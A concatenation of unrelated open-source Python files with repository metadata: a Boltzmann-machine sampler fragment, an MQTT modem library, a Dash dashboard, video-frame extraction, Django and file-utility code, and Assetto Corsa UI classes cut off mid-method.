self.dbm.visible_layer else: layer_below = self.dbm.hidden_layers[i-1] state_below = layer_to_state[layer_below] state_below = layer_below.upward_state(state_below) # Get the sampled state of the layer above so we can condition # on it in our Gibbs step if i + 1 < len(self.dbm.hidden_layers): layer_above = self.dbm.hidden_layers[i + 1] state_above = layer_to_state[layer_above] state_above = layer_above.downward_state(state_above) else: state_above = None layer_above = None if layer_to_clamp[this_layer]: this_state = layer_to_state[this_layer] this_sample = this_state else: # Compute the Gibbs sampling update # Sample the state of this layer conditioned # on its Markov blanket (the layer above and # layer below) this_sample = this_layer.sample(state_below=state_below, state_above=state_above, layer_above=layer_above, theano_rng=theano_rng) layer_to_updated[this_layer] = this_sample #Sample the visible layer vis_state = layer_to_state[self.dbm.visible_layer] if layer_to_clamp[self.dbm.visible_layer]: vis_sample = vis_state else: first_hid = self.dbm.hidden_layers[0] state_above = layer_to_updated[first_hid] state_above = first_hid.downward_state(state_above) vis_sample = self.dbm.visible_layer.sample(state_above=state_above, layer_above=first_hid, theano_rng=theano_rng) layer_to_updated[self.dbm.visible_layer] = vis_sample # Sample the odd-numbered layers for i, this_layer in list(enumerate(self.dbm.hidden_layers))[1::2]: # Get the sampled state of the layer below so we can condition # on it in our Gibbs update layer_below = self.dbm.hidden_layers[i-1] # We want to sample from each conditional distribution # ***sequentially*** so we must use the updated version # of the state for the layers whose updates we have # calculcated already, in layer_to_updated. # If we used the original value from # layer_to_state # then we would sample from each conditional # ***simultaneously*** which does not implement MCMC # sampling. state_below = layer_to_updated[layer_below] state_below = layer_below.upward_state(state_below) # Get the sampled state of the layer above so we can condition # on it in our Gibbs step if i + 1 < len(self.dbm.hidden_layers): layer_above = self.dbm.hidden_layers[i + 1] state_above = layer_to_updated[layer_above] state_above = layer_above.downward_state(state_above) else: state_above = None layer_above = None if layer_to_clamp[this_layer]: this_state = layer_to_state[this_layer] this_sample = this_state else: # Compute the Gibbs sampling update # Sample the state of this layer conditioned # on its Markov blanket (the layer above and # layer below) this_sample = this_layer.sample(state_below=state_below, state_above=state_above, layer_above=layer_above, theano_rng=theano_rng) layer_to_updated[this_layer] = this_sample # Check that all layers were updated assert all([layer in layer_to_updated for layer in layer_to_state]) # Check that we didn't accidentally treat any other object as a layer assert all([layer in layer_to_state for layer in layer_to_updated]) # Check that clamping worked assert all([(layer_to_state[layer] is layer_to_updated[layer]) == layer_to_clamp[layer] for layer in layer_to_state]) return layer_to_updated

[ "markus.roth@herr-biber.de" ]

markus.roth@herr-biber.de

32feabe5a60e6f5718692006002449e8ee5150a2

14825fa733275154b41452fcdb7d4a35ec897495

/sim7020/sim7020_mqtt.py

1ab17a41aa10bf44d3ece3c40f10b4209fbc81db

[ "MIT" ]

permissive

tedchiu/am7020_raspberry

7865834000dbff920937a967facd797f4cd29d41

8b4acddb66ad056102a626cc6a5300ad98e43f0d

refs/heads/main

2023-01-10T07:48:46.212758

2020-11-16T06:02:22

null

0

null

UTF-8

Python

false

4,687

py

#!/usr/bin/env python # -*- coding: utf-8 -*- # # sim7020_mqtt.py # @Author : Zack Huang () # @Link : zack@atticedu.com # @Date : 2020/11/7 下午4:12:24 from random import randint from time import time, sleep from typing import Dict CONN_BROKER_TIMEOUT_MS = 90 NUM_OF_SUB = 30 class SIM7020MQTT(): def __init__(self, nb): self.sub_list = [] self.nb = nb def newMQTT(self, server, port): # New MQTT. refer AT CMD 11.2.1 self.nb.sendAT("+CMQNEW=\"", server, "\",", port, ",30000,1132") if((self.nb.waitResponse(30, "+CMQNEW: 0") == 1) and (self.nb.waitResponse() == 1)): return True return False def chkMQTTChOpen(self): # New MQTT. refer AT CMD 11.2.1 self.nb.sendAT("+CMQNEW?") if(self.nb.waitResponse(10, "+CMQNEW: 0,") == 1): used_state = self.nb.streamGetIntBefore(',') self.nb.streamSkipUntil('\n') self.nb.waitResponse() return (used_state == 1) return False def connMQTT(self, mqtt_id, username, password, cleansession): # Send MQTT Connection Packet. refer AT CMD 11.2.2 self.nb.sendAT("+CMQCON=0,4,\"", mqtt_id, "\",20000,", int(cleansession), ",0,\"", username, "\",\"", password, "\"") return (self.nb.waitResponse(30) == 1) def chkMQTTChConn(self): # Send MQTT Connection Packet. refer AT CMD 11.2.2 self.nb.sendAT("+CMQCON?") if(self.nb.waitResponse(10, "+CMQCON: 0,") == 1): conn_state = self.nb.streamGetIntBefore(',') self.nb.waitResponse() return (conn_state == 1) return False def closeMQTTCh(self): # Disconnect MQTT. refer AT CMD 11.2.3 self.nb.sendAT("+CMQDISCON=0") return (self.nb.waitResponse(2) == 1) def setSyncMode(self, value): # Configure MQTT Synchronization Mode. refer AT CMD 11.2.14 self.nb.sendAT("+CMQTSYNC=", value) return (self.nb.waitResponse(2) == 1) def connBroker(self, server, port=1883, username="", password="", mqtt_id="", cleansession=True): # Note: 超過keepalive_interval時間會自動斷開。 temp_mqtt_id = "" if(mqtt_id == ""): temp_mqtt_id = "sim7020_mqttid_" + str(randint(0, 65535)) else: temp_mqtt_id = mqtt_id startTime = time()+CONN_BROKER_TIMEOUT_MS while(time() < startTime): if(not self.chkMQTTChOpen()): # Delay is used here because the SIM7020 module has a bug. sleep(1) self.closeMQTTCh() if(self.setSyncMode(1)): self.newMQTT(server, port) continue else: if(not self.chkMQTTChConn()): self.connMQTT(temp_mqtt_id, username, password, cleansession) continue return True return False def chkConnBroker(self): return self.chkMQTTChConn() def publish(self, topic, msg, qos=0): # Send MQTT Publish Packet. refer AT CMD 11.2.6 self.nb.sendAT("+CMQPUB=0,\"", topic, "\",", qos, ",0,0,", len(str(msg)), ",\"", str(msg), "\"") return (self.nb.waitResponse(10) == 1) def subscribe(self, topic, callback, qos=0): if(len(self.sub_list) <= NUM_OF_SUB): # Send MQTT Subscribe Packet. refer AT CMD 11.2.4 self.nb.sendAT("+CMQSUB=0,\"", topic, "\",", qos) self.nb.waitResponse(10) temp_sub = (topic, callback) self.sub_list.append(temp_sub) # Note: 此library有開啟MQTT Synchronization Mode，只要訂閱數量未超過設定上限(NUM_OF_SUB)都將視為訂閱成功。 return True else: print("Subscription limit exceeded !") return False def unSubscribe(self, topic): # Send MQTT Unsubscribe Packet. refer AT CMD 11.2.5 self.nb.sendAT("+CMQUNSUB=0,\"", topic, "\"") return (self.nb.waitResponse(10) == 1) def procSubs(self): if(self.nb.waitResponse(0.01, "+CMQPUB: ") == 1): self.ParseSubMsg() def ParseSubMsg(self): if(self.nb.streamSkipUntil(',')): topic = self.nb.streamGetStringBefore(',')[1:-1] if(self.nb.streamSkipUntil('\"')): msg = self.nb.streamGetStringBefore('\n')[:-2] for sub in self.sub_list: if(sub[0] == topic): sub[1](msg) return print("not find topic")

[ "zack@atticedu.com" ]

zack@atticedu.com

8a778a834551e872b7c730e425b78c860d4a6eaa

71854d518b0513b4e09e82cf38dbd3dd2d6f44f8

/apptesting.py

47374d83ae4d8da99289699f0fd06818497c2077

[]

no_license

hcxie/linkedin-datavisual-app-testing

5d0fc613f50bb26ef09fa4ce5f63d06299a0c813

e08ae54348f65967b53d781e007a6e13697016fd

refs/heads/master

2020-05-19T22:36:21.201983

2019-05-06T22:39:50

185,249,789

0

null

UTF-8

Python

false

5,478

py

import dash import dash_core_components as dcc import dash_html_components as html import pandas as pd from dash.dependencies import Input, Output import plotly.graph_objs as go external_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css'] app = dash.Dash(__name__, external_stylesheets=external_stylesheets) def read_merge_data(filename): df=pd.read_csv(filename) df.set_index(pd.DatetimeIndex(df['date']),inplace=True) df['yearmonth']=pd.to_datetime(df['date'], format='%Y/%m').map(lambda x: x.year) df.drop(['date'],axis=1,inplace=True) return df tempdf=read_merge_data('it_merge_df.csv') x_labels=tempdf['yearmonth'] available_indicators=list(tempdf.columns[0:2]) available_indicators2=list(tempdf.columns[2:7]) sector_list={ 1:'real_estate',#XLRE 2:'utilities',#XLU 3:'it',#XLK 4:'financial',#XLF 5:'healthcare',#XLV 6:'consumer_staples',#XLP 7:'consumer_discretionary',#XLY 8:'basic_material',#XLB 9:'energy',#XLE 10:'industrials'}#XLI sector_name=[val for key,val in sector_list.items()] server = app.server app.layout = html.Div([ html.Div([ html.Div([ html.Label('Sector Dropdown'), dcc.Dropdown( id='sector_dropdown', options=[ {'label': 'Real Estate', 'value': 1}, {'label': 'Utilities', 'value': 2}, {'label': 'IT', 'value': 3}, {'label': 'Financial', 'value': 4}, {'label': 'Healthcare', 'value': 5}, {'label': 'Consumer Staples', 'value': 6}, {'label': 'Consumer Discretionary', 'value': 7}, {'label': 'Basic Material', 'value': 8}, {'label': 'Energy', 'value': 9}, {'label': 'Industrials', 'value': 10} ], value=[3], multi=True )], style={'width': '48%', 'display': 'inline-block'}), html.Div([ html.Label('Linkedin info Dropdown'), dcc.Dropdown( id='yaxis-column', options=[{'label': i, 'value': i} for i in available_indicators], value='employees_on_platform' ), ],style={'width': '48%', 'float': 'right', 'display': 'inline-block'}) ]), dcc.Graph(id='indicator-graphic'), html.Div([ html.Label('time-slider'), dcc.Slider( id='year--slider', min=x_labels.min(), max=x_labels.max(), value=x_labels.max(), marks={str(year): str(year)[2:] for year in x_labels.unique()}, step=20 )], style={'width': '99%'}), html.Div([ html.Div([ html.Label('Stock Feature'), dcc.Dropdown( id='yaxis-column2', options=[{'label': i, 'value': i} for i in available_indicators2], value='adj_close_stock' ), ],style={'width': '99%'}) ]), dcc.Graph(id='indicator-graphic2'), html.Div([ html.Label('time-slider'), dcc.Slider( id='year--slider2', min=x_labels.min(), max=x_labels.max(), value=x_labels.max(), marks={str(year): str(year)[2:] for year in x_labels.unique()}, step=20 )], style={'width': '99%'}), ]) @app.callback( Output('indicator-graphic', 'figure'), [Input('year--slider', 'value'), Input('yaxis-column', 'value'), Input('sector_dropdown', 'value'), ]) def update_graph(selected_year,yaxis_column_name,sector_dropdown): traces=[] for i in sector_dropdown: sector_file_name=sector_list[i]+'_merge_df.csv' tempdf=read_merge_data(sector_file_name) sector_tempdf=tempdf[tempdf['yearmonth']<=selected_year] traces.append(go.Scatter( x=sector_tempdf.index, y=sector_tempdf[yaxis_column_name], #text=df_by_continent['country'], mode='lines', opacity=0.7, marker={ 'size': 15, 'line': {'width': 0.5, 'color': 'white'} }, name=i )) return { 'data': traces, 'layout': go.Layout( xaxis={ 'title': 'Year', }, yaxis={ 'title': yaxis_column_name, }, margin={'l': 40, 'b': 40, 't': 10, 'r': 0}, hovermode='closest' ) } @app.callback( Output('indicator-graphic2', 'figure'), [Input('year--slider2', 'value'), Input('yaxis-column2', 'value'), Input('sector_dropdown', 'value'), ]) def update_graph(selected_year,yaxis_column_name,sector_dropdown): traces=[] for i in sector_dropdown: sector_file_name=sector_list[i]+'_merge_df.csv' tempdf=read_merge_data(sector_file_name) sector_tempdf=tempdf[tempdf['yearmonth']<=selected_year] traces.append(go.Scatter( x=sector_tempdf.index, y=sector_tempdf[yaxis_column_name], #text=df_by_continent['country'], mode='lines', opacity=0.7, marker={ 'size': 15, 'line': {'width': 0.5, 'color': 'white'} }, name=i )) return { 'data': traces, 'layout': go.Layout( xaxis={ 'title': 'Year', }, yaxis={ 'title': yaxis_column_name, }, margin={'l': 40, 'b': 40, 't': 10, 'r': 0}, hovermode='closest' ) } if __name__ == '__main__': app.run_server(debug=True)

[ "jbdx6307@gmail.com" ]

jbdx6307@gmail.com

d9e5e750b84c63450d958537f59dbc8b3863f3b4

2194df5490666825d382e6e47bd33139b1faf0df

/vtools/videotoimage.py

ff6b9cb5e919adadbff64930f5eb8a56adafd551

[]

no_license

aiporre/video_tools

a88a3134c6148bd384c71e846aeab49da6bfab8e

f955c22fc7259a4b45592f522bb80f0533e6093d

refs/heads/master

2021-08-02T21:03:53.344844

2021-07-28T16:45:57

213,970,927

0

null

UTF-8

Python

false

4,568

py

import cv2 import argparse import os from tqdm import tqdm class VideoToImage(object): def __init__(self, src=0, output_path = './', extension = '.jpg', prefix='frame_', padding=-1): # Create a VideoCapture object self.capture = cv2.VideoCapture(src) self.output_path = output_path self.frame_counter = 0 # resolution of the video self.frame_width = int(self.capture.get(3)) self.frame_height = int(self.capture.get(4)) self.n_frames = int(self.capture.get(7)) self.extension = extension self.prefix = prefix self.padding = padding def update(self): # Read the next frame if self.capture.isOpened(): (self.status, self.frame) = self.capture.read() self.frame_counter +=1 def show_frame(self): # Convert to grayscale and display frames if self.status: cv2.imshow('frame', self.frame) # Press 'q' on keyboard to stop recording key = cv2.waitKey(1) if key == ord('q'): self.capture.release() cv2.destroyAllWindows() exit(1) def save_frame(self): # Save grayscale frame into video output file if self.status: # self.capture.isOpened(): if self.padding > 0: filename = os.path.join(self.output_path, self.prefix + "{1:0{0}}".format(self.padding,self.frame_counter) + self.extension) else: filename = os.path.join(self.output_path, self.prefix + str(self.frame_counter) + self.extension) cv2.imwrite(filename, self.frame) def close(self, exit=False): self.capture.release() cv2.destroyAllWindows() if exit: exit(1) class VideoToGrayImage(VideoToImage): def __init__(self, src=0, output_path = './', extension = '.jpg', prefix='frame_', padding=-1): super(VideoToGrayImage,self).__init__(src=src, output_path = output_path, extension = extension, prefix=prefix, padding=padding) def update(self): super().update() if self.status: self.frame = cv2.cvtColor(self.frame, cv2.COLOR_BGR2GRAY) def run(video_src, output_path=None, extension ='.png', plot='n', prefix='frame_', padding=-1, gray = 'y'): ''' run default video to image ''' if output_path is None: output_path = os.path.dirname(video_src) output_path = os.path.join(output_path,'video_images') if not os.path.exists(output_path): os.mkdir(output_path) if gray == 'y': video_stream_widget = VideoToGrayImage(video_src, output_path = output_path, extension = extension, prefix=prefix, padding=padding) else: video_stream_widget = VideoToImage(video_src, output_path=output_path, extension=extension, prefix=prefix, padding=padding) if plot == 'y': print('stop convertion by pressing q') for _ in tqdm(range(video_stream_widget.n_frames)): if video_stream_widget.capture.isOpened(): try: video_stream_widget.update() if plot == 'y': video_stream_widget.show_frame() video_stream_widget.save_frame() except AttributeError: pass else: video_stream_widget.close() video_stream_widget.close() if __name__ == '__main__': parser = argparse.ArgumentParser(description='Convert to gray avi videos.') parser.add_argument('--target', metavar='target', type=str, help='target avi video full path') parser.add_argument('--output', metavar='output', type=str, help='output path where the images are saved') parser.add_argument('--plot', metavar='plot', type=str, default='y', help='show video during convertion flag (y(default), or n))') parser.add_argument('--extension', metavar='extension', type=str, default='.jpg', help='extension of the imamge output (default: .jpg)') args = parser.parse_args() video_src = args.target print(video_src) video_stream_widget = VideoToGrayImage(video_src, output_path = args.output, extension = args.extension) print('stop convertion by pressing q') while video_stream_widget.capture.isOpened(): try: video_stream_widget.update() if args.plot == 'y': video_stream_widget.show_frame() video_stream_widget.save_frame() except AttributeError: pass

[ "ariel.iporre.rivas@gmail.com" ]

ariel.iporre.rivas@gmail.com

074b33472fa2500bb79a13979ce9a9d46cd08fc4

764263f101d81d6c0dd9c7afc7d7a2a7db9a389b

/DoAnApi/models/comment.py

c7d8e0ea3e3930d639b4feb8e848d21df41b6ec0

[]

no_license

nhucsau1995/DoAn

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68366c8f4e3ac0fd3f8c81afed8ab4e67ae22765

refs/heads/master

2021-09-06T07:14:11.666586

2017-12-12T02:01:34

112,214,991

0

null

UTF-8

Python

false

588

py

from django.db import models from .userpj import User from .post import Post class Comment(models.Model): objects = models.Manager() user_id = models.ForeignKey(User, on_delete=models.CASCADE) post_id = models.ForeignKey(Post, on_delete=models.CASCADE) content = models.TextField(null=False, blank=False) created_at = models.DateTimeField(auto_now_add=True, auto_now=False, editable=False) updated_at = models.DateTimeField(auto_now=True, editable=True) def __str__(self): return '{}/{} - {}'.format(self.id, self.post_id.title, self.user_id.id)

[ "nhucsau1995@gmail.com" ]

nhucsau1995@gmail.com

caa5d7f22e33db8b41abcb461289fd84c5a814ee

de24f83a5e3768a2638ebcf13cbe717e75740168

/moodledata/vpl_data/40/usersdata/78/24413/submittedfiles/main.py

eab508f3756a8f0f59276fbd4bed79017c152c6b

[]

no_license

rafaelperazzo/programacao-web

95643423a35c44613b0f64bed05bd34780fe2436

170dd5440afb9ee68a973f3de13a99aa4c735d79

refs/heads/master

2021-01-12T14:06:25.773146

2017-12-22T16:05:45

69,566,344

0

null

UTF-8

Python

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py

# -*- coding: utf-8 -*- from __future__ import division import funcoes #COMECE AQUI m=int(input('digite o valor de m:') e=input('digite o valor de epsilon:') m=funcoes.absoluto(m) pi=funcoes.pi(m) cosseno=funcoes.cosseno(pi/5,e) razaoaurea=funcoes.razaoaurea(m,e) print('%.15f' %pi) print('%.15f' %razaoaurea)

[ "rafael.mota@ufca.edu.br" ]

rafael.mota@ufca.edu.br

8aba048efabe65a374ecb7ea6a348edc52b17054

bc33dcd135f6682a70d9423a9d30108640bfd1c7

/Python Snippets/helpers/file.py

ccd799a93dca7a2c66b0f8b1b153040df1d4da18

[ "MIT" ]

permissive

wolfnfox/Code-Snippets

3bc95e3d8692396f649a89a61f456c75d7d46738

993cb2b273d538bdeb76ff3a39fa41a92a6282de

refs/heads/master

2020-06-23T10:18:35.044448

2019-10-08T10:15:20

198,594,562

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UTF-8

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import logging, os, shutil import numpy as np from typing import Union def append_all_text(text: str,filename: str,encoding: str=r'utf-8') -> bool: if not isinstance(text,str): raise ValueError('Invalid argument for <text>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(text))) if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) if not isinstance(encoding,str): raise ValueError('Invalid argument for <encoding>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(encoding))) if not fileexists(filename): raise FileNotFoundError() return _writefile(text,filename,'at',encoding) def copy(fromfilename: str,tofilename: str=None,overwrite: bool=False) -> str: if not isinstance(fromfilename,str): raise ValueError('Invalid argument for <fromfilename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(fromfilename))) if tofilename and not isinstance(tofilename,str): raise ValueError('Invalid argument for <tofilename>.\nAccepted types: '+str(None)+', '+str(str)+'\nGot type: '+str(type(tofilename))) if not isinstance(overwrite,bool): raise ValueError('Invalid argument for <overwrite>.\nAccepted types: '+str(bool)+'\nGot type: '+str(type(overwrite))) if not fileexists(fromfilename): raise FileNotFoundError() if (not tofilename): tofilename = fromfilename if (not overwrite): tofilename = _increment_filename(tofilename) shutil.copy2(fromfilename,tofilename) else: if fileexists(tofilename): move(fromfilename,tofilename,overwrite) else: shutil.copy2(fromfilename,tofilename) logging.info('Copied file: '+str(fromfilename)) logging.info('Copied to: '+str(tofilename)) return tofilename def delete(filename: str) -> bool: if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) if not fileexists(filename): raise FileNotFoundError os.remove(filename) logging.info('Deleted file: '+str(filename)) return True def fileexists(filename: str) -> bool: if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) return os.path.isfile(filename) def filesize(filename: str,units: str=None) -> int: '''Returns filesize (defaults to 'KB')\n Options: 'B', 'KB', or 'MB' ''' if not fileexists(filename): raise FileNotFoundError if units not in ['B', 'KB', 'MB', None]: raise ValueError('Invalid argument for <units>.\nAccepted types: '+str(str)+' \'B\', \'KB\', \'MB\' or '+str(None)+'\nGot type: '+str(type(units))+' \''+str(units)+'\'') filesize = os.stat(filename).st_size if (units == 'KB') or (units == None): if (filesize > 1024): filesize = int(np.ceil(filesize/1024)) else: filesize = np.ceil((filesize*1000)/1024)/1000 if units == 'MB': if (filesize > (1024**2)): filesize = int(np.ceil(filesize/(1024**2))) else: filesize = np.ceil((filesize*1000**2)/(1024**2)/(1000))/1000 return filesize def get_extension(filename: str) -> str: if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) return os.path.splitext(filename)[-1] def move(fromfilename: str,tofilename: str,overwrite: bool=True) -> str: if not isinstance(fromfilename,str): raise ValueError('Invalid argument for <fromfilename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(fromfilename))) if not isinstance(tofilename,str): raise ValueError('Invalid argument for <tofilename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(tofilename))) if not isinstance(overwrite,bool): raise ValueError('Invalid argument for <overwrite>.\nAccepted types: '+str(bool)+'\nGot type: '+str(type(overwrite))) if fileexists(tofilename) and (not overwrite): tofilename = _increment_filename(tofilename) shutil.move(fromfilename,tofilename) logging.info('Moved file: '+str(fromfilename)) logging.info('Moved to: '+str(tofilename)) return tofilename def read_all_bytes(filename: str) -> bytes: if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) if not fileexists(filename): raise FileNotFoundError() return _readfile(filename,'rb') def read_all_text(filename: str,encoding: str=r'utf-8') -> str: if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) if not isinstance(encoding,str): raise ValueError('Invalid argument for <encoding>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(encoding))) if not fileexists(filename): raise FileNotFoundError() return _readfile(filename,'rt',encoding) def write_all_bytes(bytesdata: bytes,filename: str,overwrite: bool=True) -> bool: if not isinstance(bytesdata,bytes): raise ValueError('Invalid argument for <bytesdata>.\nAccepted types: '+str(bytes)+'\nGot type: '+str(type(bytesdata))) if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) if not isinstance(overwrite,bool): raise ValueError('Invalid argument for <overwrite>.\nAccepted types: '+str(bool)+'\nGot type: '+str(type(overwrite))) if fileexists(filename) and not overwrite: raise FileExistsError() return _writefile(bytesdata,filename,'wb') def write_all_text(text: str,filename: str,encoding: str=r'utf-8',overwrite: bool=True) -> bool: if not isinstance(text,str): raise ValueError('Invalid argument for <text>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(text))) if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) if not isinstance(encoding,str): raise ValueError('Invalid argument for <encoding>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(encoding))) if not isinstance(overwrite,bool): raise ValueError('Invalid argument for <overwrite>.\nAccepted types: '+str(bool)+'\nGot type: '+str(type(overwrite))) if fileexists(filename) and not overwrite: raise FileExistsError() return _writefile(text,filename,'wt',encoding) def _increment_filename(filename: str) -> str: '''Private function to generate incremented filename if the input <filename> already exists.\n Otherwise, returns the <filename> unaltered.''' if not fileexists(filename): return filename else: i = 1 ext = get_extension(filename) newfilename = filename.replace(ext,'('+str(i)+')'+ext) while fileexists(newfilename): i += 1 newfilename = filename.replace(ext,'('+str(i)+')'+ext) return newfilename def _readfile(filename: str,options: str,encoding: str=None) -> Union[bytes,str]: '''Private function for reading a file in full.''' if encoding: with open(filename,options,encoding=encoding) as fopen: data = fopen.read() else: with open(filename,options) as fopen: data = fopen.read() return data def _writefile(data: Union[bytes,str],filename: str,options: str,encoding: str=None) -> bool: '''Private function for wrapping io.open''' if encoding: with open(filename,options,encoding=encoding) as fopen: fopen.write(data) else: with open(filename,options) as fopen: fopen.write(data) return True

[ "thomasf@cleardata.co.uk" ]

thomasf@cleardata.co.uk

26d720a549d070b0a29ae849b5a1da4a78b33e17

6996d66c2e5438af8e9ab534a168387ec437f846

/ch3/queue.py

b0a4001b44950011ce3aa037799e2e3aef18b44c

[]

no_license

ziwenjie/datastructuer-in-python

f7d69ba69fb3ddbfba4c1d113ed8dcbd23f4c788

eb044c04376681bb0d67456fe7d200c39af7ceea

refs/heads/master

2022-12-03T13:52:46.427379

2020-08-27T08:10:17

290,450,350

1

0

null

UTF-8

Python

false

96

py

from pythonds.basic.queue import Queue q = Queue() print(q.isEmpty()) q.enqueue('dog') print(q)

[ "noreply@github.com" ]

noreply@github.com

0f40308406e38359eb00bd87c471b5f1ff5f6778

0fba89a7703d883231decbb5b748d4df22832e6a

/recipe_scrapers/_decorators.py

87fb968ea2b97ba5373f8906f7b9acf4f19879ef

[ "MIT" ]

permissive

tobiaghiraldini/recipe-scrapers

c66f1fb448f6e696677ec95d43a595be8470e890

1ced80d25dcc6e88877c26187990f112f3134e67

refs/heads/master

2022-07-04T20:31:07.114353

2020-05-20T10:42:26

262,996,294

0

MIT

2020-05-11T09:23:45

null

UTF-8

Python

false

1,895

py

import functools from language_tags import tags from ._schemaorg import SchemaOrgException class Decorators: @staticmethod def schema_org_priority(decorated): """ Use SchemaOrg parser with priority (if there's data in it) On exception raised - continue by default. If there's no data (no schema implemented on the site) - continue by default """ @functools.wraps(decorated) def schema_org_priority_wrapper(self, *args, **kwargs): function = getattr(self.schema, decorated.__name__) if not function: raise SchemaOrgException( "Function '{}' not found in schema" .format(decorated.__name) ) if not self.schema.data: return decorated(self, *args, **kwargs) try: value = function(*args, **kwargs) except SchemaOrgException: return decorated(self, *args, **kwargs) return value or decorated(self, *args, **kwargs) return schema_org_priority_wrapper @staticmethod def og_image_get(decorated): @functools.wraps(decorated) def og_image_get_wrapper(self, *args, **kwargs): try: image = self.soup.find( 'meta', {'property': 'og:image', 'content': True} ) return image.get('content') except AttributeError: return decorated(self, *args, **kwargs) return og_image_get_wrapper @staticmethod def bcp47_validate(decorated): @functools.wraps(decorated) def bcp47_validate_wrapper(self, *args, **kwargs): tag = tags.tag(decorated(self, *args, **kwargs)) return str(tag) if tag.valid else None return bcp47_validate_wrapper

[ "hhursev@gmail.com" ]

hhursev@gmail.com

2bccf9d5a6413459ed13f822479d9f1f10160631

bbc712831e5adeb0ea3b6434f5bbde63f2cbea34

/delete.py

be28977592fb44ee804a25878b09ccb81c10ca8f

[]

no_license

gls369/database-sample

b5add9e46ffb03cc73bf24c55218aeed77efbd23

c3da7cbf1bb9c2a504ce7841ffd38da7dffc9bb6

refs/heads/master

2020-04-12T11:10:22.085991

2018-12-20T13:13:29

162,451,380

0

null

UTF-8

Python

false

147

py

import requests import json headers = {"Content-Type" : "application/json"} res = requests.delete("http://127.0.0.1:5000/CV/1") print (res.text)

[ "gls@live.hk" ]

gls@live.hk

b3a0f7392ad91b35f21b7aaa9a6aeac03fdbf6f0

9457a7eb9c1d64e203d85b45b3337f06768f28af

/python/OV1Info/app/classes.py

d93f55ea6d4ed1526b1150dbe808cea822cb83ee

[]

no_license

acclub/apps

1173a7295714086a34f3896ec54025b2eab34290

f86e5a56e6908823256133cba83590a31a7fe19c

refs/heads/master

2021-01-10T14:43:21.392018

2016-09-30T21:32:40

47,973,886

2

0

null

UTF-8

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py

import ac import math import configparser class Window: # INITIALIZATION def __init__(self, name="defaultAppWindow", title="", icon=True, width=100, height=100, scale=1, texture=""): # local variables self.name = name self.title = title self.width = width self.height = height self.x = 0 self.y = 0 self.is_attached = False self.attached_l = -1 self.attached_r = -1 # creating the app window self.app = ac.newApp(self.name) # default settings ac.drawBorder(self.app, 0) ac.setBackgroundOpacity(self.app, 0) if icon is False: ac.setIconPosition(self.app, 0, -10000) # applying settings ac.setTitle(self.app, self.title) ac.setBackgroundTexture(self.app, texture) ac.setSize(self.app, math.floor(self.width*scale), math.floor(self.height*scale)) # PUBLIC METHODS def onRenderCallback(self, func): ac.addRenderCallback(self.app, func) return self def setBgOpacity(self, alpha): ac.setBackgroundOpacity(self.app, alpha) return self def border(self, value): ac.drawBorder(self.app, value) return self def setBgTexture(self, texture): ac.setBackgroundTexture(self.app, texture) return self def setPos(self, x, y): self.x = x self.y = y ac.setPosition(self.app, self.x, self.y) return self def getPos(self): self.x, self.y = ac.getPosition(self.app) return self #-#####################################################################################################################################-# class Label: # INITIALIZATION def __init__(self, window, text = ""): self.text = text self.label = ac.addLabel(window, self.text) self.size = { "w" : 0, "h" : 0 } self.pos = { "x" : 0, "y" : 0 } self.color = (1, 1, 1, 1) self.bgColor = (0, 0, 0, 1) self.fontSize = 12 self.align = "left" self.bgTexture = "" self.opacity = 1 # PUBLIC METHODS def setText(self, text): self.text = text ac.setText(self.label, self.text) return self def setSize(self, w, h): self.size["w"] = w self.size["h"] = h ac.setSize(self.label, self.size["w"], self.size["h"]) return self def setPos(self, x, y): self.pos["x"] = x self.pos["y"] = y ac.setPosition(self.label, self.pos["x"], self.pos["y"]) return self def setColor(self, color): self.color = color ac.setFontColor(self.label, *self.color) return self def setFontSize(self, fontSize): self.fontSize = fontSize ac.setFontSize(self.label, self.fontSize) return self def setAlign(self, align = "left"): self.align = align ac.setFontAlignment(self.label, self.align) return self def setBgTexture(self, texture): self.bgTexture = texture ac.setBackgroundTexture(self.label, self.bgTexture) return self def setBgColor(self, color): ac.setBackgroundColor(self.label, *color) return self def setBgOpacity(self, opacity): ac.setBackgroundOpacity(self.label, opacity) return self def setVisible(self, value): ac.setVisible(self.label, value) return self #-#####################################################################################################################################-# class Button: # INITIALIZATION def __init__(self, window, clickFunc, width=60, height=20, x=0, y=0, text="", texture=""): self.width = width self.height = height self.x = x self.y = y self.button = ac.addButton(window, text) # adding default settings self.setSize(width, height) self.setPos(x, y) if texture != "": self.setBgTexture(texture) # default settings ac.drawBorder(self.button, 0) ac.setBackgroundOpacity(self.button, 0) # adding a click event ac.addOnClickedListener(self.button, clickFunc) # PUBLIC METHODS def setSize(self, width, height): self.width = width self.height = height ac.setSize(self.button, self.width, self.height) return self def setPos(self, x, y): self.x = x self.y = y ac.setPosition(self.button, self.x, self.y) return self def setBgTexture(self, texture): ac.setBackgroundTexture(self.button, texture) return self #-#####################################################################################################################################-# class Config: # INITIALIZATION def __init__(self, path, filename): self.file = path + filename self.parser = 0 try: self.parser = configparser.RawConfigParser() except: ac.console("OV1: Config -- Failed to initialize ConfigParser.") # read the file self._read() # LOCAL METHODS def _read(self): self.parser.read(self.file) def _write(self): with open(self.file, "w") as cfgFile: 